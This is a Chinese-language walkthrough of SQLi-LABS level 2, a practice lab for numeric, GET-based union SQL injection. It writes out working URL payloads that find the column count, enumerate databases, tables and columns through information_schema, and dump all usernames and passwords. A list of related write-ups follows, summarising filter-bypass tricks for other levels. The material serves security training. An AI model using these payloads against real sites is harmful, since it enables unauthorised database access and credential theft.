SQLi-LABS Less-2

简介: 第二关请求方式为 GET请求 , 注入点为 数值型 , 注入类型为 联合注入第一步,判断注入类型在参数中添加单引号' , 看其是否会报错

第二关请求方式为 GET请求 , 注入点为 数值型 , 注入类型为 联合注入

第一步,判断注入类型

在参数中添加单引号' , 看其是否会报错

?id=1'

数据库报错了


image.png


分析一下错误 , 最外面的一对单引号是数据库用来包裹错误信息的 , 我们不用管


我们输入的参数 1' , 就只剩下了一个单引号' , 也就是说 数值类型1 被正常读取了 , 但多了一个单引号,导致数据库报错 , 这就意味着 , 数据库接收参数时,没有包裹引号或其他东西 , 固 整数型注入


image.png


源码如下


image.png


第二步,测试字段数

使用 order by 排序测试字段数 , 从第1列开始,依次测试2,3,4...

?id=1 order by 4 -- a

第4列开始报错 , 也就是说,返回的结果只有3列 , 固 字段数为 3

image.png

 第三步,测试显示位置

使用 union 联合查询 测试字段的显示位置

?id=-1 union select 1,2,3 -- a

此处联合查询的 1,2,3 与上一步查询出的字段数相匹配 , 目的在于确定查询结果字段的展示位置


此处id=-1,是为了更好的展示结果展示的位置 , 用户的id不能为负数,id为-1时,查询不到用户信息,只会展示联合查询的 1 2 3 这一条信息


image.png


第四步,脱库

爆库

查询information_schema默认数据库的schemata表的schema_name字段 , 该字段保存所有数据库名

?id=-1 union select 1,2,group_concat(schema_name)
from information_schema.schemata

此处的 group_concat() 可以将多行查询结果合并为一行显示 , 方便信息的展示


image.png


此关卡所用的数据库为security , 接下来根据security数据库 获取其所有表


爆表


查询information_schema默认数据库的tables表的table_name字段 , 该字段保存了所有表名

?id=-1 union select 1,2,group_concat(table_name)
from information_schema.tables where table_schema='security'

image.png

此关卡的表是users , 接下来根据users表 查询其所有字段

爆字段

查询information_schema默认数据库的columns表的column_name字段 , 该字段保存了所有字段名

?id=-1 union select 1,2,group_concat(column_name)
from information_schema.columns where table_schema='security' 
    and table_name='users'

image.png

至此,已知该关卡的数据库为 security 表为 users 字段为 id,username,password,

下一步,根据此信息查询其账号和密码

获取账号和密码

查询security数据库的users表 , 获取所有用户账号和密码

?id=-1 union select 1,2,group_concat(username,'~',password)
from security.users

此处的 group_concat(username,'~',password) , 使查询结果用'~'分隔 , 目的在于增加结果的可读性

image.png

相关文章
|
5月前
|
安全 数据库 数据安全/隐私保护
sqli-labs第一关
sqli-labs第一关
|
SQL 数据库
SQLi LABS Less-26a
第26a关使用GET请求传递参数,在url地址栏中构造payload即可 源码中过滤了参数中的or,and,/*,--,#,空格,斜线,我们想办法绕过即可
313 0
SQLi LABS Less-26a
|
SQL 数据库
SQLi LABS Less-27a
第27关使用GET请求提交参数,在url地址栏中构造payload即可 后端源码中过滤了/*,--,#,空格,select,union,需要考虑一下怎么绕过这些规则
175 0
SQLi LABS Less-27a
|
数据库 数据安全/隐私保护
SQLi LABS Less-19
第19关使用POST请求提交参数,后端对用户名和密码进行了特殊字符转译,难度较大源码如下
172 0
SQLi LABS Less-19
SQLi LABS Less-23
第23关使用GET请求传递参数,在url地址栏构造payload即可 此关卡对注释符号进行了过滤,因此不能使用注释符,可以使用单引号闭合,使SQL的语法结构成立
147 0
SQLi LABS Less-23
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-16
第16关使用POST请求提交参数,可以使用代理工具抓包或直接在输入框中修改参数 后端代码根据用户输入账号和密码去数据库中查询,查询成功则返回登录成功,否则返回登录失败,页面没有显示的数据,SQL语句中使用了错误抑制符@来限制数据库的报错信息,因此不能使用联合注入或报错注入,推荐使用布尔盲注,源码如下
145 0
SQLi LABS Less-16
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-21
21关使用POST请求提交参数,对用户名和密码中的特殊字符进行了转译,难度较大
161 0
SQLi LABS Less-21
SQLi LABS Less-29
第29关使用GET请求提交参数,在url中构造payload即可 源码中并没有做什么过滤,直接测试注入点即可
208 0
SQLi LABS Less-29
SQLi LABS Less-30
第30关使用GET请求传递参数,在url中构造payload即可 后端源码中并没有做什么过滤,只是在参数两边添加了双引号
137 0
SQLi LABS Less-30
SQLi LABS Less-26
第26关使用GET请求提交参数,我们可以直接在url地址栏中构造payload 源码中过滤了or,and,/*,#,--,空格,斜线,需要想办法绕过
258 0
SQLi LABS Less-26